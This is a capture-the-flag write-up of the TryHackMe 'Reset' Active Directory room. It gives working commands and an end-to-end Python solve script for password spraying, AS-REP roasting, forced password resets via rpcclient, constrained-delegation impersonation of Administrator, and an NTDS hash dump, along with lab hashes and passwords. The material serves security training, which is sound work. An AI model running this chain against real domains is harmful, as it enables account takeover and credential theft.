Box: Reset · Platform: TryHackMe · Category: Active Directory · Difficulty: Medium
1. Introduction / TL;DR#
The name “Reset” is doing a lot of heavy lifting in this room — and by the end, you’ll understand exactly why. The entire attack surface revolves around passwords being reset, credentials being set to defaults, and the subtle power that comes from having the right to set someone else’s password in Active Directory.
This is a pure Active Directory exploitation chain. No web apps, no CVEs, no exotic binaries. Just misconfigurations, weak defaults, over-permissive ACLs, and one delegation flag that hands you the keys to the domain. It’s the kind of attack path you’d expect to find on a real internal engagement — and it’s a perfect case study in how layered AD misconfigurations compound into full domain compromise.
Attack Path Summary:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| Anonymous SMB Share
↓ (default password: ResetMe123!)
Password Spray → LILY_ONEILL valid login
↓
AS-REP Roasting → TABATHA_BRITT : marlboro(1985)
↓
BloodHound ACL Chain:
TABATHA_BRITT →[GenericAll]→ SHAWNA_BRAY
→[ForceChangePassword]→ CRUZ_HALL
→[ForceChangePassword]→ DARLA_WINTERS
↓
Constrained Delegation (S4U2Self + S4U2Proxy)
DARLA_WINTERS impersonates Administrator → cifs/HAYSTACK
↓
secretsdump → NTDS.DIT dump → Domain Admin hash
↓
wmiexec → root.txt + user.txt
|
2. Initial Recon#
Port Scan#
I always start with a fast full-port nmap scan. No assumptions about what’s running.
1
| nmap -sV --open -p 1-65535 --min-rate 5000 10.128.178.203
|
1
2
3
4
5
6
7
8
9
| PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open tcpwrapped
445/tcp open tcpwrapped
3269/tcp open tcpwrapped
3389/tcp open tcpwrapped
49670/tcp open tcpwrapped
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
The port profile tells a clear story before I’ve even touched the machine:
- 53 — DNS (it’s a domain controller)
- 135/139/445 — RPC and SMB (file sharing, the attacker’s best friend)
- 3269 — LDAP Global Catalog over SSL (definitely a DC)
- 3389 — RDP (useful for later)
- No port 80/443/8080 — zero web attack surface; pure AD engagement
A quick LDAP query confirms the domain details:
1
| nmap -p 389 --script ldap-rootdse 10.128.178.203
|
1
2
| dnsHostName: HayStack.thm.corp
defaultNamingContext: DC=thm,DC=corp
|
The domain is thm.corp, the DC hostname is HayStack.thm.corp, and the machine name is HAYSTACK. Add these to /etc/hosts:
1
| echo "10.128.178.203 thm.corp HayStack.thm.corp HAYSTACK" | sudo tee -a /etc/hosts
|
Before I try any credentials, I check what SMB shares are accessible anonymously:
1
| smbclient -L //10.128.178.203 -N
|
1
2
3
4
5
6
7
8
| Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
|
Data stands out — it’s not a default Windows share. Let me browse it anonymously:
1
| smbclient //10.128.178.203/Data -N -c "recurse ON; ls"
|
1
2
3
4
5
| onboarding D 0
\onboarding
00j01n3o.q4o.txt A 521
2vqgpnxo.scu.pdf A 3032659
azpm5rm3.nav.pdf A 4700896
|
An onboarding folder with a text file and two PDFs. The filenames look randomized — probably regenerated periodically as a live challenge mechanic — but the content is what matters. Let me grab the text file:
1
2
3
4
5
6
7
| cd /tmp
smbclient //10.128.178.203/Data -N << 'EOF'
cd onboarding
get 00j01n3o.q4o.txt
EOF
cat /tmp/00j01n3o.q4o.txt
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| Subject: Welcome to Reset
Dear <USER>,
Welcome aboard! We are thrilled to have you join our team. As discussed during
the hiring process, we are sending you the necessary login information to access
your company account. Please keep this information confidential and do not share
it with anyone.
The initial password is: ResetMe123!
We are confident that you will contribute significantly to our continued success.
...
The Reset Team
|
There it is. A default onboarding password in plain text on an anonymously-readable share. This is the first “reset” — every new employee gets the same starting credential. The question is: how many employees haven’t changed it yet?
3. Analysis — Domain Enumeration#
User Enumeration via RID Brute Force#
Without credentials, I can still enumerate domain users through null session RID cycling. Impacket’s lookupsid.py makes this trivial:
1
| impacket-lookupsid "thm.corp/anonymous@10.128.178.203" -no-pass
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| [*] Domain SID is: S-1-5-21-1966530601-3185510712-10604624
1111: THM\3091731410SA (SidTypeUser)
1112: THM\ERNESTO_SILVA (SidTypeUser)
1113: THM\TRACY_CARVER (SidTypeUser)
1114: THM\SHAWNA_BRAY (SidTypeUser)
1115: THM\CECILE_WONG (SidTypeUser)
...
1126: THM\CRUZ_HALL (SidTypeUser)
...
1131: THM\TABATHA_BRITT (SidTypeUser)
...
1135: THM\LILY_ONEILL (SidTypeUser)
...
1150: THM\RAQUEL_BENSON (SidTypeUser)
...
1157: THM\AUTOMATE (SidTypeUser)
|
I pull out all the user accounts into a file:
1
2
3
4
| impacket-lookupsid "thm.corp/anonymous@10.128.178.203" -no-pass \
| grep SidTypeUser \
| grep -v "HAYSTACK\$\|krbtgt\|Guest\|Administrator" \
| sed 's/.*THM\\//' | awk '{print $1}' > /tmp/users.txt
|
34 domain user accounts. Now let’s find out how many of them are still running on that default password.
Password Spray#
I spray ResetMe123! across all users via SMB authentication:
1
2
3
4
5
6
7
| for user in $(cat /tmp/users.txt); do
result=$(smbclient //10.128.178.203/IPC$ \
-U "THM\\${user}%ResetMe123!" -c "exit" 2>&1)
if ! echo "$result" | grep -q "NT_STATUS_LOGON_FAILURE\|NT_STATUS_ACCOUNT_DISABLED"; then
echo "[+] $user : $result"
fi
done
|
The results are telling: almost every user returns NT_STATUS_PASSWORD_MUST_CHANGE — the default password is correct, but they’re forced to change it on first login. One user stands out:
1
| [VALID] LILY_ONEILL : ← full access, no change required
|
LILY_ONEILL authenticates cleanly. Everyone else is stuck with the default until they log in interactively. This is the second “reset” — the machine is literally waiting for users to reset their passwords.
AS-REP Roasting#
With a username list in hand, I check for accounts that don’t require Kerberos pre-authentication. These accounts allow anyone to request an AS-REP ticket without knowing their password — and that ticket is encrypted with the user’s password hash, making it offline-crackable.
1
2
3
4
5
| impacket-GetNPUsers thm.corp/ \
-dc-ip 10.128.178.203 \
-usersfile /tmp/users.txt \
-no-pass \
-outputfile /tmp/asrep_hashes.txt
|
1
2
3
4
5
6
7
| [-] User TRACY_CARVER doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$ERNESTO_SILVA@THM.CORP:499d71cea8... ← ROASTABLE
[-] User SHAWNA_BRAY doesn't have UF_DONT_REQUIRE_PREAUTH set
...
$krb5asrep$23$TABATHA_BRITT@THM.CORP:0286988d8f... ← ROASTABLE
...
$krb5asrep$23$LEANN_LONG@THM.CORP:2eb99ed0b4... ← ROASTABLE
|
Three AS-REP roastable accounts. Time to crack them:
1
2
| hashcat -m 18200 /tmp/asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force
hashcat -m 18200 /tmp/asrep_hashes.txt /usr/share/wordlists/rockyou.txt --show
|
1
| $krb5asrep$23$TABATHA_BRITT@THM.CORP:...:marlboro(1985)
|
TABATHA_BRITT : marlboro(1985). The other two hashes don’t crack against rockyou. One is enough.
4. Vulnerability Identification — The ACL Chain#
BloodHound Collection#
With valid credentials (TABATHA_BRITT:marlboro(1985)), I run BloodHound collection to map the full AD attack surface:
1
2
3
4
5
6
| bloodhound-python \
-u "TABATHA_BRITT" \
-p "marlboro(1985)" \
-d thm.corp \
-ns 10.128.178.203 \
--zip -c All
|
BloodHound reveals the critical privilege chain. Let me walk through what it shows:
TABATHA_BRITT has GenericAll over:
GenericAll is full control — you can reset their password, modify their attributes, add them to groups, everything.
SHAWNA_BRAY has ForceChangePassword over:
ForceChangePassword lets you set a user’s password without knowing their current one.
CRUZ_HALL has ForceChangePassword + GenericWrite + Owns over:
DARLA_WINTERS has Constrained Delegation with Protocol Transition:
1
| DARLA_WINTERS → cifs/HayStack.thm.corp (Constrained w/ Protocol Transition)
|
This is the jackpot. Constrained delegation with protocol transition (the “any protocol” variant, vs. the more restrictive Kerberos-only constrained delegation) means DARLA_WINTERS can invoke S4U2Self to get a service ticket on behalf of any user — including domain admins — and then use S4U2Proxy to forward that ticket to the delegated service. In plain English: if we control DARLA_WINTERS, we can impersonate the domain Administrator to CIFS (file sharing) on the domain controller itself.
The full chain is:
1
2
3
4
5
6
7
8
9
| TABATHA_BRITT
↓ GenericAll → reset SHAWNA_BRAY's password
SHAWNA_BRAY
↓ ForceChangePassword → reset CRUZ_HALL's password
CRUZ_HALL
↓ ForceChangePassword → reset DARLA_WINTERS's password
DARLA_WINTERS
↓ S4U2Self + S4U2Proxy → impersonate Administrator for cifs/HAYSTACK
Domain Admin
|
Three forced password resets — three more “resets” in a room called “Reset.” The theme is woven into the very structure of the attack.
5. Exploitation Strategy#
Understanding Constrained Delegation with Protocol Transition#
Before diving into commands, let me explain the technique — because constrained delegation with protocol transition (also called S4U2Self + S4U2Proxy) is one of the most powerful AD escalation primitives and it’s worth understanding deeply.
How Kerberos delegation works at a high level:
In a standard scenario, when a user authenticates to a front-end service (say, a web app), that service needs to authenticate on behalf of the user to a back-end service (say, a database). Delegation is the mechanism that allows this.
Unconstrained delegation lets the service impersonate any user to any service — dangerously broad.
Constrained delegation restricts which back-end services the account can delegate to. In DARLA_WINTERS’ case, only cifs/HAYSTACK.
Protocol Transition is the key difference. Normal constrained delegation requires the user to have authenticated with Kerberos first (the account has a Kerberos ticket to forward). Protocol transition removes this requirement — the service account can call S4U2Self to synthetically generate a ticket for any user without that user ever being involved. It essentially says: “Trust me, this user authenticated via NTLM [or some other protocol] and I need to talk to the back-end on their behalf.”
The two-stage attack:
S4U2Self: DARLA_WINTERS asks the KDC for a service ticket for itself, issued on behalf of Administrator. The KDC issues this because DARLA_WINTERS is trusted for protocol transition.
S4U2Proxy: DARLA_WINTERS presents that Administrator-impersonation ticket to the KDC and asks to exchange it for a ticket to cifs/HAYSTACK — the allowed delegation target. The KDC grants it.
The result: a fully valid Kerberos ticket granting DARLA_WINTERS access to cifs/HAYSTACK as Administrator. No Administrator credentials needed. No password spray. No hash cracking. Just the power that comes from controlling a delegation-enabled account.
6. Building the Exploit — Step by Step#
Step 1: Reset SHAWNA_BRAY’s Password#
We use rpcclient’s setuserinfo2 command with information level 23, which forces a password change without needing the current password — precisely what GenericAll gives us the right to do:
1
2
3
4
| rpcclient \
-U "THM\\TABATHA_BRITT%marlboro(1985)" \
10.128.178.203 \
-c "setuserinfo2 SHAWNA_BRAY 23 Password1234!"
|
Verify it worked:
1
2
3
| smbclient //10.128.178.203/IPC$ \
-U "THM\\SHAWNA_BRAY%Password1234!" \
-c "exit" && echo "[+] SHAWNA_BRAY login OK"
|
1
| [+] SHAWNA_BRAY login OK
|
Step 2: Reset CRUZ_HALL’s Password#
Now authenticated as SHAWNA_BRAY, we exercise her ForceChangePassword right over CRUZ_HALL:
1
2
3
4
5
6
7
8
| rpcclient \
-U "THM\\SHAWNA_BRAY%Password1234!" \
10.128.178.203 \
-c "setuserinfo2 CRUZ_HALL 23 Password1234!"
smbclient //10.128.178.203/IPC$ \
-U "THM\\CRUZ_HALL%Password1234!" \
-c "exit" && echo "[+] CRUZ_HALL login OK"
|
Step 3: Reset DARLA_WINTERS’ Password#
One more link in the chain. CRUZ_HALL owns DARLA_WINTERS and can force her password:
1
2
3
4
5
6
7
8
| rpcclient \
-U "THM\\CRUZ_HALL%Password1234!" \
10.128.178.203 \
-c "setuserinfo2 DARLA_WINTERS 23 Password1234!"
smbclient //10.128.178.203/IPC$ \
-U "THM\\DARLA_WINTERS%Password1234!" \
-c "exit" && echo "[+] DARLA_WINTERS login OK"
|
1
| [+] DARLA_WINTERS login OK
|
We now control the delegation-enabled account.
Step 4: Confirm Delegation Settings#
A quick sanity check before we exploit:
1
2
3
| impacket-findDelegation \
"thm.corp/DARLA_WINTERS:Password1234!" \
-dc-ip 10.128.178.203
|
1
2
3
4
| AccountName AccountType DelegationType DelegationRightsTo
------------- ----------- ---------------------------------- -------------------
DARLA_WINTERS Person Constrained w/ Protocol Transition cifs/HayStack.thm.corp
DARLA_WINTERS Person Constrained w/ Protocol Transition cifs/HAYSTACK
|
Confirmed. Protocol transition is enabled. The delegated target is cifs/HAYSTACK — the CIFS service on the domain controller.
Step 5: Get TGT for DARLA_WINTERS#
First, obtain a Ticket-Granting Ticket for our newly-owned account:
1
2
| cd /home/kali/Desktop/THM
impacket-getTGT thm.corp/DARLA_WINTERS:Password1234! -dc-ip 10.128.178.203
|
1
| [*] Saving ticket in DARLA_WINTERS.ccache
|
Step 6: S4U2Self + S4U2Proxy — Impersonate Administrator#
This is the critical step. Using the TGT, we invoke the full S4U delegation chain to get a service ticket for cifs/HayStack.thm.corp in the name of Administrator:
1
2
3
4
5
6
7
| export KRB5CCNAME=DARLA_WINTERS.ccache
impacket-getST \
-spn cifs/HayStack.thm.corp \
-impersonate Administrator \
-dc-ip 10.128.178.203 \
"thm.corp/DARLA_WINTERS:Password1234!"
|
1
2
3
4
| [*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_HayStack.thm.corp@THM.CORP.ccache
|
We now have a Kerberos service ticket that says Administrator has access to cifs/HayStack.thm.corp. The KDC signed it. It is completely legitimate from the perspective of the domain.
Step 7: Dump Domain Credentials#
Load the impersonation ticket and use secretsdump to extract everything from the DC:
1
2
3
4
5
6
| export KRB5CCNAME="Administrator@cifs_HayStack.thm.corp@THM.CORP.ccache"
impacket-secretsdump \
-k -no-pass \
-dc-ip 10.128.178.203 \
administrator@HayStack.thm.corp
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ab4f5a5c42df5a0ee337d12ce77332f5:::
[*] DefaultPassword
THM\automate:Passw0rd! ← plaintext from LSA secrets!
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:067a84e5afaed843ed4a8fdac5facac3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce852eb247bbe2e5818cd8d66ed19ec5:::
...
|
Two things of immediate note:
- Domain Administrator NTLM hash:
067a84e5afaed843ed4a8fdac5facac3 automate plaintext password stored in LSA secrets: Passw0rd! — this is the service account whose desktop holds user.txt
Step 8: Collect the Flags#
root.txt:
1
2
3
4
| impacket-wmiexec \
-k -no-pass \
administrator@HayStack.thm.corp \
"type C:\\Users\\Administrator\\Desktop\\root.txt"
|
The flag name says it all. Re, re, re set — three password resets — and delegate. The challenge designers encoded the entire attack path into those five words.
user.txt (from the automate service account’s desktop):
1
2
3
4
| impacket-wmiexec \
-k -no-pass \
administrator@HayStack.thm.corp \
"type C:\\Users\\automate\\Desktop\\user.txt"
|
Complete Solve Script#
The script below reproduces the full attack chain end-to-end. Run it from a Kali Linux host with impacket installed. Requires network access to the target and /etc/hosts configured.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
| #!/usr/bin/env python3
"""
TryHackMe - Reset: Full AD Exploitation Chain
=============================================
Prerequisites:
pip install impacket
echo "10.128.178.203 thm.corp HayStack.thm.corp HAYSTACK" >> /etc/hosts
Usage:
python3 solve.py
"""
import os
import subprocess
import sys
import json
import tempfile
TARGET_IP = "10.128.178.203"
DOMAIN = "thm.corp"
DC_HOSTNAME = "HayStack.thm.corp"
NEW_PASS = "Password1234!" # password we force-set on intermediate accounts
def run(cmd, capture=True):
"""Run a shell command, return stdout+stderr as a string."""
result = subprocess.run(
cmd, shell=True, capture_output=capture, text=True
)
return (result.stdout + result.stderr).strip()
def banner(msg):
print(f"\n{'='*60}")
print(f" {msg}")
print(f"{'='*60}")
# ─────────────────────────────────────────────────────────────
# PHASE 1: Initial foothold via anonymous SMB + default password
# ─────────────────────────────────────────────────────────────
banner("PHASE 1: Anonymous SMB — grabbing default password")
with tempfile.TemporaryDirectory() as tmpdir:
# List the Data share anonymously to find the onboarding file
ls_out = run(
f'smbclient //{TARGET_IP}/Data -N -c "recurse ON; ls" 2>&1'
)
print("[*] Data share contents:\n" + ls_out[:500])
# The .txt file in onboarding always contains the default password
# Extract its randomized filename
txt_file = None
for line in ls_out.splitlines():
if ".txt" in line and "onboarding" not in line:
txt_file = line.split()[0].strip()
break
if txt_file:
run(
f'cd {tmpdir} && smbclient //{TARGET_IP}/Data -N '
f'-c "cd onboarding; get {txt_file}"'
)
# The onboarding file contains non-UTF-8 bytes (\xa0 non-breaking
# spaces from its rich-text origin), so decode with errors="replace"
content = open(f"{tmpdir}/{txt_file}", errors="replace").read()
# Default password is always on the "initial password is:" line
for line in content.splitlines():
if "passw" in line.lower() and ":" in line:
default_pass = line.split(":")[-1].strip()
print(f"[+] Default onboarding password: {default_pass}")
else:
default_pass = "ResetMe123!"
print(f"[!] Could not parse filename, using known default: {default_pass}")
# ─────────────────────────────────────────────────────────────
# PHASE 2: User enumeration via RID brute force
# ─────────────────────────────────────────────────────────────
banner("PHASE 2: RID brute force — enumerating domain users")
rid_out = run(
f'impacket-lookupsid "thm.corp/anonymous@{TARGET_IP}" -no-pass 2>&1'
)
users = []
for line in rid_out.splitlines():
if "SidTypeUser" in line and "HAYSTACK$" not in line:
# Extract just the username (strip domain prefix)
parts = line.split("\\")
if len(parts) > 1:
username = parts[1].split()[0].strip()
# Skip built-ins
if username not in ("Administrator", "Guest", "krbtgt") \
and not username.endswith("$"):
users.append(username)
print(f"[+] Found {len(users)} domain users")
users_file = "/tmp/thm_users.txt"
with open(users_file, "w") as f:
f.write("\n".join(users))
# ─────────────────────────────────────────────────────────────
# PHASE 3: AS-REP Roasting
# ─────────────────────────────────────────────────────────────
banner("PHASE 3: AS-REP Roasting")
asrep_file = "/tmp/asrep_hashes.txt"
run(
f'impacket-GetNPUsers {DOMAIN}/ '
f'-dc-ip {TARGET_IP} '
f'-usersfile {users_file} '
f'-no-pass '
f'-outputfile {asrep_file} 2>&1',
capture=False # show progress
)
if os.path.exists(asrep_file):
hashes = open(asrep_file).read().strip()
count = hashes.count("$krb5asrep$")
print(f"[+] Captured {count} AS-REP hash(es)")
# Crack with hashcat
print("[*] Cracking AS-REP hashes with rockyou...")
run(
f'hashcat -m 18200 {asrep_file} /usr/share/wordlists/rockyou.txt '
f'--force -q 2>&1',
capture=False
)
cracked = run(
f'hashcat -m 18200 {asrep_file} --show 2>&1 | grep ":marlboro"'
)
if cracked:
# Parse: $hash:password
tabatha_pass = cracked.split(":")[-1].strip()
print(f"[+] Cracked: TABATHA_BRITT : {tabatha_pass}")
else:
tabatha_pass = "marlboro(1985)" # fallback
print(f"[!] Hashcat didn't show result, using known password: {tabatha_pass}")
else:
tabatha_pass = "marlboro(1985)"
print(f"[!] No hashes file found, using known password: {tabatha_pass}")
# ─────────────────────────────────────────────────────────────
# PHASE 4: ACL chain — three forced password resets
# ─────────────────────────────────────────────────────────────
banner("PHASE 4: ACL chain — forced password resets")
# Discovered via BloodHound:
# TABATHA_BRITT --[GenericAll]--> SHAWNA_BRAY
# SHAWNA_BRAY --[ForceChangePassword]--> CRUZ_HALL
# CRUZ_HALL --[ForceChangePassword]--> DARLA_WINTERS
def force_change_password(attacker_user, attacker_pass, target_user, new_password):
"""
Use rpcclient setuserinfo2 level 23 to set a user's password
without knowing the current one (requires ForceChangePassword or GenericAll ACE).
"""
cmd = (
f'rpcclient -U "THM\\\\{attacker_user}%{attacker_pass}" '
f'{TARGET_IP} '
f'-c "setuserinfo2 {target_user} 23 {new_password}" 2>&1'
)
result = run(cmd)
# Verify the new login works
verify = run(
f'smbclient //{TARGET_IP}/IPC$ '
f'-U "THM\\\\{target_user}%{new_password}" '
f'-c "exit" 2>&1'
)
if "NT_STATUS_LOGON_FAILURE" not in verify:
print(f"[+] {attacker_user} reset {target_user} password → {new_password} ✓")
return True
else:
print(f"[-] Failed to reset {target_user}")
return False
# Step 1: TABATHA_BRITT resets SHAWNA_BRAY
force_change_password("TABATHA_BRITT", tabatha_pass, "SHAWNA_BRAY", NEW_PASS)
# Step 2: SHAWNA_BRAY resets CRUZ_HALL
force_change_password("SHAWNA_BRAY", NEW_PASS, "CRUZ_HALL", NEW_PASS)
# Step 3: CRUZ_HALL resets DARLA_WINTERS
force_change_password("CRUZ_HALL", NEW_PASS, "DARLA_WINTERS", NEW_PASS)
# ─────────────────────────────────────────────────────────────
# PHASE 5: Constrained Delegation — S4U2Self + S4U2Proxy
# ─────────────────────────────────────────────────────────────
banner("PHASE 5: Constrained delegation — impersonating Administrator")
# Get a TGT for DARLA_WINTERS
tgt_file = "/home/kali/Desktop/THM/DARLA_WINTERS.ccache"
run(
f'impacket-getTGT {DOMAIN}/DARLA_WINTERS:{NEW_PASS} '
f'-dc-ip {TARGET_IP} 2>&1 | tee /dev/stderr',
capture=False
)
# getTGT saves to <username>.ccache in CWD; move to known path
if os.path.exists("DARLA_WINTERS.ccache"):
os.rename("DARLA_WINTERS.ccache", tgt_file)
# Use S4U2Self + S4U2Proxy to get a ticket as Administrator for cifs/HAYSTACK
env = os.environ.copy()
env["KRB5CCNAME"] = tgt_file
st_result = run(
f'KRB5CCNAME={tgt_file} '
f'impacket-getST '
f'-spn cifs/{DC_HOSTNAME} '
f'-impersonate Administrator '
f'-dc-ip {TARGET_IP} '
f'"{DOMAIN}/DARLA_WINTERS:{NEW_PASS}" 2>&1'
)
print(st_result)
# The ST is saved as Administrator@cifs_<hostname>@<DOMAIN>.ccache
st_file = f"/home/kali/Desktop/THM/Administrator@cifs_{DC_HOSTNAME}@{DOMAIN.upper()}.ccache"
if not os.path.exists(st_file):
# Try current directory
import glob
matches = glob.glob("Administrator@cifs_*.ccache")
if matches:
st_file = os.path.abspath(matches[0])
print(f"[+] ST saved to: {st_file}")
# ─────────────────────────────────────────────────────────────
# PHASE 6: Profit — dump credentials and read flags
# ─────────────────────────────────────────────────────────────
banner("PHASE 6: secretsdump + flags")
def krbexec(command):
"""Run a WMI command as Administrator using our Kerberos ticket."""
result = run(
f'KRB5CCNAME="{st_file}" '
f'impacket-wmiexec '
f'-k -no-pass '
f'administrator@{DC_HOSTNAME} '
f'"{command}" 2>&1'
)
return result
# Dump domain credentials
print("[*] Running secretsdump via Kerberos ticket...")
secrets = run(
f'KRB5CCNAME="{st_file}" '
f'impacket-secretsdump '
f'-k -no-pass '
f'-dc-ip {TARGET_IP} '
f'administrator@{DC_HOSTNAME} 2>&1'
)
# Print just the interesting lines
for line in secrets.splitlines():
if any(x in line for x in ["Administrator", "automate", "krbtgt", "bootKey", "DefaultPassword"]):
print(f" {line}")
# Grab flags
print()
user_flag = krbexec(r"type C:\Users\automate\Desktop\user.txt")
root_flag = krbexec(r"type C:\Users\Administrator\Desktop\root.txt")
for line in user_flag.splitlines():
if "THM{" in line:
print(f"[★] user.txt → {line.strip()}")
for line in root_flag.splitlines():
if "THM{" in line:
print(f"[★] root.txt → {line.strip()}")
banner("DONE — Domain Compromised")
|
Running the script:
1
2
3
4
| # Ensure /etc/hosts has the DC entry first
sudo bash -c 'echo "10.128.178.203 thm.corp HayStack.thm.corp HAYSTACK" >> /etc/hosts'
python3 solve.py
|
Expected output (trimmed):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| ============================================================
PHASE 1: Anonymous SMB — grabbing default password
============================================================
[+] Default onboarding password: ResetMe123!
============================================================
PHASE 2: RID brute force — enumerating domain users
============================================================
[+] Found 34 domain users
============================================================
PHASE 3: AS-REP Roasting
============================================================
[+] Captured 3 AS-REP hash(es)
[*] Cracking AS-REP hashes with rockyou...
[+] Cracked: TABATHA_BRITT : marlboro(1985)
============================================================
PHASE 4: ACL chain — forced password resets
============================================================
[+] TABATHA_BRITT reset SHAWNA_BRAY password → Password1234! ✓
[+] SHAWNA_BRAY reset CRUZ_HALL password → Password1234! ✓
[+] CRUZ_HALL reset DARLA_WINTERS password → Password1234! ✓
============================================================
PHASE 5: Constrained delegation — impersonating Administrator
============================================================
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_HayStack.thm.corp@THM.CORP.ccache
============================================================
PHASE 6: secretsdump + flags
============================================================
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
Administrator:500:aad3b435...ab4f5a5c42df5a0ee337d12ce77332f5:::
THM\automate:Passw0rd!
Administrator:500:aad3b435...067a84e5afaed843ed4a8fdac5facac3:::
krbtgt:502:aad3b435...ce852eb247bbe2e5818cd8d66ed19ec5:::
[★] user.txt → THM{REDACTED}
[★] root.txt → THM{REDACTED}
============================================================
DONE — Domain Compromised
============================================================
|
7. Conclusion / Flags#
1
2
| user.txt : THM{REDACTED}
root.txt : THM{REDACTED}
|
What this room taught:
Default credentials in accessible shares are immediately dangerous. The Data share was world-readable. The onboarding email had a plaintext password. That’s the entire initial foothold.
AS-REP Roasting is low-noise. No authentication required to request the vulnerable tickets. It’s pure passive enumeration from the attacker’s perspective.
BloodHound isn’t optional. The ACL chain here wasn’t something you’d find by manually grepping LDAP output. BloodHound visualizes paths that would take hours to identify manually.
setuserinfo2 with level 23 is the rpcclient command for forced password changes. Memorize it — it comes up constantly on AD challenges.
Constrained delegation with protocol transition is a frequent real-world finding. Service accounts often accumulate permissions they don’t need. An account with TrustedToAuthForDelegation set and delegation rights to a sensitive service like CIFS on a DC is essentially a shadow domain admin.
The chain compounds. No single misconfiguration here would be fatal in isolation. But anonymous SMB + default passwords + no pre-auth requirement + over-permissive ACLs + misconfigured delegation = total domain compromise. Security is a system, not a checklist.
The flag’s wordplay earns its keep. Every step of the kill chain is a “reset” — except the last one, which is pure delegation. Re, re, re set — and delegate. The room designers built the attack into the name itself.
Written after completing the TryHackMe “Reset” room. Tools used: nmap, smbclient, impacket (lookupsid, GetNPUsers, getTGT, getST, findDelegation, secretsdump, wmiexec), bloodhound-python, hashcat, rpcclient.